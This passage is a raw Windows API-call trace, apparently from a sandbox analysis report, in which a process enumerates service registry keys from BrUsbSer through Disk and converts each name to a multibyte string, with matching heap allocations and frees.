8 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.069] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.069] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.070] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0177.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0177.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0177.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0177.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0177.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0177.071] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1d18, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0177.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0177.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1d18, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0177.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0177.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0177.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0177.072] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0177.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0177.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0177.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0177.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0177.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0177.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0177.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0177.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1a90, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0177.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0177.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1a90, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0177.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0177.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0177.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0177.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0177.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0177.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, 